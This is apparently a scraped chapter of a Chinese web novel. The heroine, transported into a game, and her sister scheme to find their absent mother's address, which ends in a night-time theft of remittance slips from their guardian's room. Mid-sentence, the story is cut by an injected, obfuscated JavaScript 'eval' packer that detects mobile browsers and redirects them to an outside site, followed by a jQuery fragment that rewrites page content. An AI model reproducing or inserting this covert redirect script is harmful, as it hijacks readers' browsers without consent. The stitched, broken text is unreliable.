海泽尔买完蜡烛，又被希梅纳夫人命令去收拾餐桌，端晚饭。
海泽尔打开橱柜，拿出碟子，发现橱柜里面居然还有一根油纸包着的香肠，大吃一惊。
以往吃饭时，希梅纳夫人可从不会在普通的日子买香肠。她一年只买一块干肉，平时煮土豆汤的时候，就挂在锅上，让蒸汽沾点肉味。
只有到圣诞节时，这块干肉才会被放下来，和蔬菜炖在一起。
也只有那个时候，希梅纳夫人才会奢侈一下，额外买点白面包，和烧鹅之类的熟食。
海泽尔犹豫了一会儿，还是将黑面包和香肠放在桌上，她以为这香肠是希梅纳夫人同意买的。如果不是希梅纳夫人买的，这个家谁有胆子明晃晃地放在那里啊？
海泽尔眼馋香肠，但不能吃，郁郁不乐地走开了。
走之前，她感到口渴，于是给自己倒了一碟汤，喝完后又洗了碟子，放回原处。
约兰达回来得比海泽尔晚一点。她回洗衣店前，小心地把一串细珠子手链藏在衣袋，以免被妈妈发现。
但约兰达到餐桌时，还是被希梅纳夫人严肃的神情吓到了。
希梅纳夫人指着桌上用油纸包着的香肠，质问她：“香肠是从哪里来的？”
偷听的海泽尔松了口气，她就说希梅纳夫人怎么可能大方。那么，这个香肠一定是约兰达自己偷偷买的。
约兰达做事真是粗心，既然是瞒着希梅纳夫人买的，那就应该藏好啊，为什么要放在橱柜，多明显。即使海泽尔没有发现，也迟早被希梅纳夫人发现。
不过，话说回来，希梅纳夫人为什么不怀疑是她们姐妹买的？海泽尔两人在外面卖花，更容易攒下私房钱啊。海泽尔在心里嘀咕着。
也许，是因为希梅纳夫人更关注自己的孩子吧。
果然，约兰达嗫嚅着承认：“我买的。”她面如死灰，没想到母亲这么快就发现了。
希梅纳夫人既生气，又疑惑：“我就知道是你买的。但是，你哪里来的钱？”
希梅纳夫人知道约兰达会自己偷偷攒钱买零食。但是，她最近的钱一分没少，那么约兰达是从哪里来的钱？
约兰达不好意思，扭扭捏捏：“我自己买的啊！你要是不让吃，我就退了。”
她只是故意这么说，想让母亲放她一马。
没想到希梅纳夫人听了，觉得正合她意：“那你去熟食店退了，我要看到退款。”
“啊？”约兰达愣了，她没想到希梅纳夫人这么说。
可是，她也不能退啊。这香肠是别人送她的，她怎么知道是在哪里买的，也许不一定是熟食店的商品……
早知道不这么说了。约兰达很后悔。
她本来想的是，自己房间有老鼠，不敢放到房间里慢慢吃，所以想放在更安全的橱柜。
而且，今天端饭的是海泽尔，那么她看到香肠也不会说什么。
没想到那个傻子直接把香肠当做晚饭拿了出来，真是气死约兰达了。
希梅纳夫人抓住约兰达的犹豫，进一步追问：“你在发什么愣？这是你自己买的，还是别人买的？”
约兰达这下慌了神，她还想多隐瞒一段时间，但是眼看希梅纳夫人就要猜到了，她嘴硬道：“当然是我自己买的，不关别人的事。
可是，她语气这么倔强，希梅纳夫人自然不相信。
然后，海泽尔听到约兰达和希梅纳夫人就这个事情吵了一架。主要内容是希梅纳夫人想问清是谁送约兰达礼物，而约兰达坚持不说。
海泽尔听到这里，就听厌了这场母女吵架，于是回到自己房间。
夏洛特正在整理房间。据说，这个房间以前专门放杂物，所以海泽尔姐妹住进去后，里面仍有很多杂物。希梅纳夫人有需要的话，会过来拿。
夏洛特发现，约兰达今天似乎来过她们的屋子，所以房间里的东西有些乱。她皱着眉，把散乱的衣服叠好，又把一些瓶瓶罐罐扶正。
整理完，夏洛特取出风信子种球，准备种。
海泽尔见状，说不用土培，水培也可以。夏洛特于是找了个碟子，加浅水，放入种球。
海泽尔坐在床上，还在想如何打听简女士的消息，于是问夏洛特知不知道母亲工作的地址。
夏洛特摇摇头：“我只知道妈妈在一户人家做女佣。”
海泽尔再问，主家姓什么？叫什么？什么职业？夏洛特也一问三不知。她年纪小，对母亲的了解不比海泽尔多。
海泽尔一边整理床铺，一边烦恼。她今天不知为什么，突然生起想找到简女士的念头。
其实，她只是穿到游戏里自己创建的角色，并没有真的对这个设定上的母亲产生感情。
她也不是希望简女士继续汇款，让希梅纳夫人对她们姐妹好一点。
但是，这种感情该怎么说？海泽尔觉得，大概是因为她的家庭重男轻女，所以自己来到一个全新的时空后，不可避免地对新的亲情产生期待。
到目前为止，海泽尔和夏洛特相处得还不错。但是简女士是个什么样的人，她还不清楚。
总之，她想把穿越看作一次机会。海泽尔决定，她要把机会掌握在自己手里，先找到人再说。
希梅纳夫人一定知道简女士的地址，但就是不告诉海泽尔，故意折磨她，欺人太甚。
海泽尔奇怪，不是说希梅纳夫人和简女士是同乡吗？她们应该关系不错啊？怎么希梅纳夫人对老乡的孩子是这种态度。
而且，希梅纳夫人应该恨不得抛弃她们这两个拖油瓶，所以听到海泽尔想打听简女士的地址时，应该帮她。
正想着，海泽尔突然听见外面有越来越近的脚步声，听起来像约兰达的。
门被约兰达推开。约兰达一过来，就掩着鼻子，因为房间里有一股发霉的味道。
约兰达又嫌房间太暗，海泽尔只好重新点上灯，等约兰达的来意。
约兰达从身后拿出一件裙子，得意地给她们看：“这么好看的裙子，好好看看，反正你们也没有。”
这是一件蓝色碎花的棉布裙，□□成新，没有脏污，没有补丁。
单没有补丁这点，这件裙子就比海泽尔和夏洛特的衣服好多了。
夏洛特对这件裙子看了又看，诚实地说：“它哪里好看？”
她是真的想问约兰达这件裙子好看在哪里，因为自己以前只穿过有补丁的衣服，不习惯没有补丁的衣服。
夏洛特在后院泥土地上用树枝画小人时，也默认加上补丁。
但约兰达一听，以为夏洛特在挑衅她，有点气：“你不识货，和你说也没用。”
海泽尔想，最近没听说希梅纳夫人给约兰达买衣服，反倒是这件衣服有点眼熟，烘焙坊的朱丽叶好像穿过。
朱丽叶和约兰达关系好，也许是朱丽叶送她的。
海泽尔于是试探着问：“谁送你的？我要告诉希梅纳夫人。”
约兰达火了，立刻变了脸色，警告海泽尔别说出去。
走的时候，也气冲冲的。
海泽尔撇撇嘴，觉得约兰达虽然十七岁了，但还是幼稚。
希梅纳夫人的教育方式很奇怪。她疼爱约兰达，但在吃食和衣服上吝啬，也没有好好培养她的品性。难怪约兰达不成熟，行事冲动。
海泽尔很快就忘记这莫名其妙的一遭，回到正题，对妹妹说她很想念母亲。
夏洛特也想念母亲。她突然想到什么线索，连忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362566|183757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对姐姐说：“妈妈每年都会给希梅纳夫人汇款，汇款单上可能有她的地址，或许有用。”
海泽尔听后很雀跃，这的确是一条线索：“是啊！即使不是她住的地方，也一定是最近的建筑。”
唉，她怎么没想到？现代的生活经验果然扰乱了她的思维。
两人小声讨论，认为汇款单必定在希梅纳夫人那里。
但是，希梅纳夫人会同意给海泽尔看吗？
海泽尔觉得以她的脾气，当然不可能。她今天回来时还和希梅纳夫人打听母亲地址，希梅纳夫人就没告诉她。
夏洛特于是犯了难：“但如果不找希梅纳夫人，我们拿不到汇款单。”
她想不到别的解决办法，于是半开玩笑，半是心里话：“我们要不去偷吧？”
海泽尔没回答。沉默一会儿后，夏洛特只好灭灯，催姐姐快休息。
夜已经深了。
海泽尔静静地躺在床上，却强忍着睡意。
是的，她听进去了夏洛特的那句话，也觉得与其去求希梅纳夫人，不如直接偷。
顺便说一句，她发现夏洛特虽然是开玩笑，但想法很大胆。海泽尔没想到这个妹妹还有这一面。
海泽尔准备等午夜一到，就去希梅纳夫人的房间偷偷翻找。
海泽尔数了很多数。没有钟表，她也不清楚现在几点。唯一的表在希梅纳夫人那里。
似乎是深夜了，希梅纳夫人应该睡熟了。
海泽尔轻轻起身，没有吵醒夏洛特。
偷东西当然是一个人更方便。不过吵醒她也没什么，这小子当然会支持她的决定。
走出房间需要开门，但这门年久失修，门底几乎是粘在地面，一推就磨擦出刺耳的响声，在这寂静的夜里很明显。
海泽尔只好以蜗牛的速度慢慢推，不知过了几分钟，才推开。
她特地不穿鞋，只有袜子，所以走起路来感到冰凉。
海泽尔忍住不舒服，就这么走到希梅纳夫人的房间门口。
还没开门，就听到希梅纳夫人的鼾声。海泽尔更是放心。
门没有锁，希梅纳夫人不可能在这上面花钱。
海泽尔照着开自己门的方法，慢慢推开，蹑手蹑脚进去。
想了想，还是再慢慢关上，只留个小缝。
找东西是个大工程，她要在希梅纳夫人的房间多待一会儿。
虽然希梅纳夫人在睡觉，但海泽尔也觉得离她这么近很恐怖。
海泽尔没有灯，怕照醒希梅纳夫人。
幸好希梅纳夫人的窗帘破了很多洞，窗外有月光，而且那张有抽屉的桌子是唯一能藏东西的地方。
桌上铺着一张破破烂烂的桌布，垂到地上。
桌面放满了杂物，杯子、蜡烛、手帕……海泽尔看了几眼，放弃寻找，认为希梅纳夫人不会将汇款单直接放在桌面上，所以打开了抽屉。
抽屉里也放满了杂物。海泽尔不能看清每个东西，就用手摸，摸到纸状物就抽出来，如此抽了好几张纸。
她来不及一一细看，打算先拿着，回去再说。
希梅纳夫人的鼾声依然如雷，这让海泽尔略微感到安慰，又产生一丝得意。自己在希梅纳夫人面前找东西，她居然还没有发现。
一个抽屉搜完了，海泽尔悄悄打开下一个抽屉。她祈祷自己拿到的纸中一定有汇款单。
突然，门口出现一抹亮光。
海泽尔听到约兰达的脚步声，惊得动作僵硬，一动也不敢动。
她安慰自己，也许约兰达只是起夜，怎么会偏偏来希梅纳夫人的房间……
结果，约兰达真的用力推开了门。她举起蜡烛，警惕地问：“谁在里面？”